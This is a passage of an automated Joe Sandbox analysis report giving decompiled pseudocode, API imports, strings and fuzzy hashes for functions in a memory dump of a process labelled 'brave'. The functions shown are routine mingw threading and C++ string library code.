0x7ff69f8156de
0x7ff69f8156e6
0x7ff69f8156eb
0x7ff69f8156ed
0x7ff69f8156f2
0x7ff69f8156f4
0x7ff69f8156fe
0x7ff69f815703
0x7ff69f815705
0x7ff69f815710
0x7ff69f815715
0x7ff69f81571c
0x7ff69f815722
0x7ff69f815729
0x7ff69f815732
0x7ff69f81573d
0x7ff69f81573f
0x7ff69f815747
0x7ff69f81574e
0x7ff69f815757

APIs

Part of subcall function 00007FF69F812D40: TlsGetValue.KERNEL32 ref: 00007FF69F812DA0

TlsGetValue.KERNEL32 ref: 00007FF69F8155B9
CloseHandle.KERNEL32 ref: 00007FF69F8155E5
_endthreadex.MSVCRT ref: 00007FF69F815603
longjmp.MSVCRT ref: 00007FF69F815634
CloseHandle.KERNEL32 ref: 00007FF69F815645
TlsSetValue.KERNEL32 ref: 00007FF69F815682
CloseHandle.KERNEL32 ref: 00007FF69F81569A

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: CloseHandleValue$_endthreadexlongjmp
String ID:
API String ID: 3990644698-0
Opcode ID: 0214bab7663271ea6fee6ac32ca2fa0cc39244fbefd9c866a5c200fdd5429a6d
Instruction ID: a7d3ff162d9bc36b061211b4b2dee9aea279637af5a158d6a9f61bcadd798953
Opcode Fuzzy Hash: 0214bab7663271ea6fee6ac32ca2fa0cc39244fbefd9c866a5c200fdd5429a6d
Instruction Fuzzy Hash: EB511525A09B0682FAF59F12D65437833B4FF44B88F4656B9DA2D8B3A0DF3CA444E351

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F8178B0 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 85
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF69F8178B0(void* __edx, intOrPtr* __rcx) {
				intOrPtr _t19;
				intOrPtr _t23;
				void* _t28;
				intOrPtr* _t29;

				_t29 =  *0x9fab6920; // 0x7ff69fac1400
				_t19 =  *_t29;
				r12d = __edx;
				if (_t19 == 0) goto 0x9f817948;
				if ( *((long long*)(_t19 + 0xa0)) != 0) goto 0x9f817968;
				 *((long long*)(_t19 + 0xa0)) = 0x9fab2be8;
				E00007FF67FF69F818830(0x9fab2be8, _t28);
				if ( *((intOrPtr*)( *__rcx)) != 0xbab1f0ed) goto 0x9f8179a9;
				if ( *((intOrPtr*)( *__rcx + 4)) <= 0) goto 0x9f8179a9;
				 *((intOrPtr*)( *__rcx + 4)) =  *((intOrPtr*)( *__rcx + 4)) - 1;
				_t23 =  *_t29;
				if (_t23 == 0) goto 0x9f817978;
				if ( *((long long*)(_t23 + 0xa0)) != 0) goto 0x9f8179a0;
				 *((long long*)(_t23 + 0xa0)) = 0x9fab2be8;
				E00007FF67FF69F818870(0x9fab2be8);
				return r12d;
			}

0x7ff69f8178b8
0x7ff69f8178bf
0x7ff69f8178c5
0x7ff69f8178cb
0x7ff69f8178d5
0x7ff69f8178e2
0x7ff69f8178e9
0x7ff69f8178f7
0x7ff69f817905
0x7ff69f81790e
0x7ff69f817912
0x7ff69f817918
0x7ff69f817922
0x7ff69f81792b
0x7ff69f817932
0x7ff69f817942

Strings

C:/crossdev/src/mingw-w64-v8-git/mingw-w64-libraries/winpthreads/src/rwlock.c, xrefs: 00007FF69F8179BC
Assertion failed: (%s), file %s, line %d, xrefs: 00007FF69F8179CD
., xrefs: 00007FF69F8179B4
(((rwlock_t *)*rwl)->valid == LIFE_RWLOCK) && (((rwlock_t *)*rwl)->busy > 0), xrefs: 00007FF69F8179C3

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID:
String ID: (((rwlock_t *)*rwl)->valid == LIFE_RWLOCK) && (((rwlock_t *)*rwl)->busy > 0)$.$Assertion failed: (%s), file %s, line %d$C:/crossdev/src/mingw-w64-v8-git/mingw-w64-libraries/winpthreads/src/rwlock.c
API String ID: 0-3957588491
Opcode ID: 84b45b647fba6786e436b223dfef3815ddb9f00301ce0779b142d07c5678c86d
Instruction ID: 231fb59a23b4f604f3e49b095dbc531984baf9b94d9225ae0c0cd758c3aa2c8f
Opcode Fuzzy Hash: 84b45b647fba6786e436b223dfef3815ddb9f00301ce0779b142d07c5678c86d
Instruction Fuzzy Hash: BA314A22B0974A89EBB09B15E5043BC77B0FB44B45F8686BADA6C87391DF3CE445D301

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F819F30 Relevance: 10.5, APIs: 7, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF69F819F30(void* __edx, void* __rcx, void* __r8) {

				r12d = __edx;
				if (__r8 == 0) goto 0x9f819fa1;
				if (__rcx != 0) goto 0x9f819f60;
				if (r12d != 0) goto 0x9f819f8d;
				return r12d;
			}

0x7ff69f819f3a
0x7ff69f819f40
0x7ff69f819f45
0x7ff69f819f4a
0x7ff69f819f56

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF69F819F60
OpenProcess.KERNEL32 ref: 00007FF69F819F77
CloseHandle.KERNEL32 ref: 00007FF69F819F85
_errno.MSVCRT ref: 00007FF69F819FA1

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: Process$CloseCurrentHandleOpen_errno
String ID:
API String ID: 2250453136-0
Opcode ID: 99bff5ea223eaa426eec811e31877ad3ae2d66184df2aefccc3710fd92dcba7e
Instruction ID: 7225ddcfcc5ef354400117c3ced883cd839911731fee85a98c7a6d711e6d3009
Opcode Fuzzy Hash: 99bff5ea223eaa426eec811e31877ad3ae2d66184df2aefccc3710fd92dcba7e
Instruction Fuzzy Hash: 8A018021A0CA07D6EEB51F61D94423833F4FF44B65F566BB4CA3A862D0DE3C2484E710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F818980 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 45threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00007FF69F8189A0
fprintf.MSVCRT ref: 00007FF69F8189BF
GetCurrentThreadId.KERNEL32 ref: 00007FF69F8189D5
fprintf.MSVCRT ref: 00007FF69F8189FC

Strings

C%p %d V=%0X w=%ld %s, xrefs: 00007FF69F8189E3
C%p %d %s, xrefs: 00007FF69F8189AE

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: CurrentThreadfprintf
String ID: C%p %d %s$C%p %d V=%0X w=%ld %s
API String ID: 1384477639-884133013
Opcode ID: f8158c71ef050e1e9cbf393265222da93de2fa9e8f3a0d98d13ba6446c91282d
Instruction ID: 3ac3c309daa23da33a9c8ad64dc07462cc9019183883f442799f4fddb9845101
Opcode Fuzzy Hash: f8158c71ef050e1e9cbf393265222da93de2fa9e8f3a0d98d13ba6446c91282d
Instruction Fuzzy Hash: D8016172B18709C5EB218B25E8415A937A8FB44BD8B5981B1DD4D83350DF3CE4528700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F80CDF0 Relevance: 9.2, APIs: 1, Strings: 5, Instructions: 230
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF69F80CDF0(void* __rax, void* __rcx, intOrPtr* __r8) {
				intOrPtr _t13;
				signed char _t14;
				signed long long _t41;

				if (__r8 == 0) goto 0x9f80ce93;
				r13d = 1;
				goto 0x9f80ce89;
				if ( *((intOrPtr*)(__r8 + 0x10)) != 0) goto 0x9f80ce81;
				_t13 =  *((intOrPtr*)( *((intOrPtr*)(__r8 + 8))));
				if (r9d != 0) goto 0x9f80ce45;
				_t14 = __rax - 0x1c;
				if (_t14 - 0x34 > 0) goto 0x9f80ce45;
				if ((_t41 << _t14 & 0x0000001f) != 0) goto 0x9f80ce81;
				 *((intOrPtr*)(__r8 + 0x10)) = 1;
				 *((long long*)(__rcx + 0x120)) =  *((intOrPtr*)(__r8 + 0x18));
				if (_t13 == 0x29) goto 0x9f80cea0;
				if (_t13 == 0x2a) goto 0x9f80cec4;
				if (_t13 == 2) goto 0x9f80cee8;
				E00007FF67FF69F80C080();
				if ( *__r8 == 0) goto 0x9f80ce93;
				if ( *((intOrPtr*)(__rcx + 0x130)) == 0) goto 0x9f80ce20;
				return _t13;
			}

0x7ff69f80ce08
0x7ff69f80ce18
0x7ff69f80ce1e
0x7ff69f80ce25
0x7ff69f80ce2b
0x7ff69f80ce30
0x7ff69f80ce32
0x7ff69f80ce38
0x7ff69f80ce43
0x7ff69f80ce49
0x7ff69f80ce57
0x7ff69f80ce61
0x7ff69f80ce66
0x7ff69f80ce6b
0x7ff69f80ce75
0x7ff69f80ce87
0x7ff69f80ce91
0x7ff69f80ce9f

Strings

:, xrefs: 00007FF69F80CF06
{, xrefs: 00007FF69F80CFF2
}::, xrefs: 00007FF69F80D0E9
default arg#, xrefs: 00007FF69F80CFEB
}, xrefs: 00007FF69F80D0F0

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID:
String ID: :$default arg#${$}$}::
API String ID: 0-1396675520
Opcode ID: 08332cc808a94058415bfcd868a3a9bd3ccee03719ae4bd389e3f5cf73b7d852
Instruction ID: a4b0b79c7f23daf7c1ddb2f451b433b752f30fc42d6746a67780bb2351cf7c25
Opcode Fuzzy Hash: 08332cc808a94058415bfcd868a3a9bd3ccee03719ae4bd389e3f5cf73b7d852
Instruction Fuzzy Hash: 8991A772A0968687E7B98E25A5003FE6361EB05798F8C4075CB9E47745DFBDE481E301

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F817A50 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 44threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00007FF69F817A70
GetCurrentThreadId.KERNEL32 ref: 00007FF69F817A9D
printf.MSVCRT ref: 00007FF69F817AD5

Strings

RWL%p %d V=%0X B=%d r=%ld w=%ld L=%p %s, xrefs: 00007FF69F817AAB
RWL%p %d %s, xrefs: 00007FF69F817A7C

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: CurrentThread$printf
String ID: RWL%p %d %s$RWL%p %d V=%0X B=%d r=%ld w=%ld L=%p %s
API String ID: 2165381015-1971217749
Opcode ID: 8cead37bc54ed6b6f1a314987bdb91882d6bbe9169badf4922341b7b210ccfed
Instruction ID: 245e10ec3b532ddf8515743b47e114d93c671b391b971f50951141f50904554c
Opcode Fuzzy Hash: 8cead37bc54ed6b6f1a314987bdb91882d6bbe9169badf4922341b7b210ccfed
Instruction Fuzzy Hash: 0C018076B08A4986EB618F15E84076977A4FB84BD8F1A8174DE0D83750EF3DE5468B40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F818E10 Relevance: 7.7, APIs: 5, Instructions: 186
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00007FF67FF69F818E10(void* __edx, long long __rax, long long __rcx, void* __r9) {
				long long _v48;
				char _v56;
				void* _t6;
				void* _t9;
				void* _t17;
				long long _t25;

				_t25 = __rax;
				r12d = r8d;
				if (__edx == 1) goto 0x9f818e90;
				_v56 = __rcx;
				E00007FF67FF69F815420(__rax);
				_v48 = _t25;
				if (_t25 == 0) goto 0x9f818f20;
				r8d = 0;
				r9d = r12d;
				_t6 = E00007FF67FF69F817560(2, _t25,  &_v56, __r9);
				_t17 = _t6 - 0x80;
				if (_t17 == 0) goto 0x9f819080;
				if (_t17 > 0) goto 0x9f818ed8;
				if (_t6 == 0) goto 0x9f818ec0;
				if (_t6 != 1) goto 0x9f819040;
				ResetEvent(??);
				if (__edx != 2) goto 0x9f8190c9;
				E00007FF67FF69F8158E0(2, _t25,  &_v56);
				goto 0x9f818e45;
				_t9 = E00007FF67FF69F8174C0(r8d, _t25, _v48,  &_v56);
				if (_t9 == 0x80) goto 0x9f81905d;
				if (_t9 == 0x102) goto 0x9f819058;
				r12d = 0x16;
				if (_t9 != 0) goto 0x9f818ec3;
				r12d = 0;
				return r12d;
			}

0x7ff69f818e10
0x7ff69f818e20
0x7ff69f818e26
0x7ff69f818e28
0x7ff69f818e32
0x7ff69f818e37
0x7ff69f818e3f
0x7ff69f818e45
0x7ff69f818e48
0x7ff69f818e53
0x7ff69f818e58
0x7ff69f818e5d
0x7ff69f818e63
0x7ff69f818e67
0x7ff69f818e6c
0x7ff69f818e77
0x7ff69f818e80
0x7ff69f818e86
0x7ff69f818e8b
0x7ff69f818e93
0x7ff69f818e9d
0x7ff69f818ea8
0x7ff69f818eae
0x7ff69f818eb6
0x7ff69f818ec0
0x7ff69f818ed1

APIs

Part of subcall function 00007FF69F817560: WaitForMultipleObjects.KERNEL32 ref: 00007FF69F8175D4

ResetEvent.KERNEL32 ref: 00007FF69F818E77
WaitForSingleObject.KERNEL32 ref: 00007FF69F818EF0

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: Wait$EventMultipleObjectObjectsResetSingle
String ID:
API String ID: 256776027-0
Opcode ID: 121a88b0db4ee25a2ff43eadc307b2352640e593a580d7043225a0e0878fb419
Instruction ID: ec8c9e0c0301c60509fc86f66985ed349a0c083e1c3229d9467a309d53c8c0c9
Opcode Fuzzy Hash: 121a88b0db4ee25a2ff43eadc307b2352640e593a580d7043225a0e0878fb419
Instruction Fuzzy Hash: F8514B21F0C40241FBF156269A4637B22B2EF84784F560AB1DA6EC62D1EF7CE956F201

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F82EC70 Relevance: 7.7, APIs: 4, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

wcslen.MSVCRT ref: 00007FF69F82EC82
memcpy.MSVCRT ref: 00007FF69F82ECD4
memcpy.MSVCRT ref: 00007FF69F82ED90

Strings

basic_string::append, xrefs: 00007FF69F82ED2A, 00007FF69F82EDE8

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: memcpy$wcslen
String ID: basic_string::append
API String ID: 1844840824-3811946249
Opcode ID: 6cebfcec6de9b3593e030ed6678d1432fc8d21d84097160306933d0743cdec40
Instruction ID: a5c216a5ecbdea5e4a87518f6e4d6c1b12f459e131fb4b45f5acd0f7850cc782
Opcode Fuzzy Hash: 6cebfcec6de9b3593e030ed6678d1432fc8d21d84097160306933d0743cdec40
Instruction Fuzzy Hash: 1151CD66B18A4580EAA0DB19C5084FD2331FB45BC4B9A4672EE1D877E0EF3EF442D308

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F82BAC0 Relevance: 7.7, APIs: 4, Strings: 1, Instructions: 158stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF69F82BAD2
memcpy.MSVCRT ref: 00007FF69F82BB22
memcpy.MSVCRT ref: 00007FF69F82BBDD

Strings

basic_string::append, xrefs: 00007FF69F82BB7D, 00007FF69F82BC3B

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: memcpy$strlen
String ID: basic_string::append
API String ID: 2619041689-3811946249
Opcode ID: e52a5d2963f204db0f47163310a085c06c72244473eb4e09b667bfb4340310bf
Instruction ID: 0f6ec052418f35d563a54811abf04537204e86ed23bded8de370210a2087b895
Opcode Fuzzy Hash: e52a5d2963f204db0f47163310a085c06c72244473eb4e09b667bfb4340310bf
Instruction Fuzzy Hash: 3051E66360AA4A80DFB0DB19C5585BD2378FB46BD0F9A45B2ED6D873D1DE2DE442E300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F830750 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 147
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF69F830750(long long* __rcx, void* __rdx) {
				long long _t14;
				signed long long _t16;
				signed long long _t18;
				signed long long _t19;

				_t19 =  *((intOrPtr*)(__rdx + 8));
				_t16 = _t19 + _t19;
				_t14 = __rcx + 0x10;
				_t18 = _t16 >> 1;
				 *__rcx = _t14;
				if (_t16 - 0xe > 0) goto 0x9f8307c0;
				if (_t18 == 1) goto 0x9f8307b0;
				if (_t18 != 0) goto 0x9f8307a0;
				 *(__rcx + 8) = _t18;
				 *((short*)(_t14 + _t19 * 2)) = 0;
				return 0;
			}

0x7ff69f83075a
0x7ff69f83075e
0x7ff69f830769
0x7ff69f83076d
0x7ff69f830770
0x7ff69f83077a
0x7ff69f830780
0x7ff69f830785
0x7ff69f830789
0x7ff69f83078d
0x7ff69f83079b

Strings

basic_string::basic_string, xrefs: 00007FF69F830841, 00007FF69F830898
string::string, xrefs: 00007FF69F8308E8
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF69F830848, 00007FF69F83089F, 00007FF69F8308EF
basic_string::_M_create, xrefs: 00007FF69F8307F7

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID:
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::_M_create$basic_string::basic_string$string::string
API String ID: 0-126128797
Opcode ID: 66f3f228ea3a18784f6c83e61baa3469eb30d59ff27e738029579d98566150f7
Instruction ID: 86ce05db8ed11e7dfbde22a308873ea094ba79427adcf610e567cdc724ad99a5
Opcode Fuzzy Hash: 66f3f228ea3a18784f6c83e61baa3469eb30d59ff27e738029579d98566150f7
Instruction Fuzzy Hash: 034115B2B16B46D4EB609F29D9404EC6370FB14FD8B954A72CA1C833A0EE7DE596D340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F830290 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 147
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF69F830290(long long* __rcx, void* __rdx) {
				long long _t14;
				signed long long _t16;
				signed long long _t18;
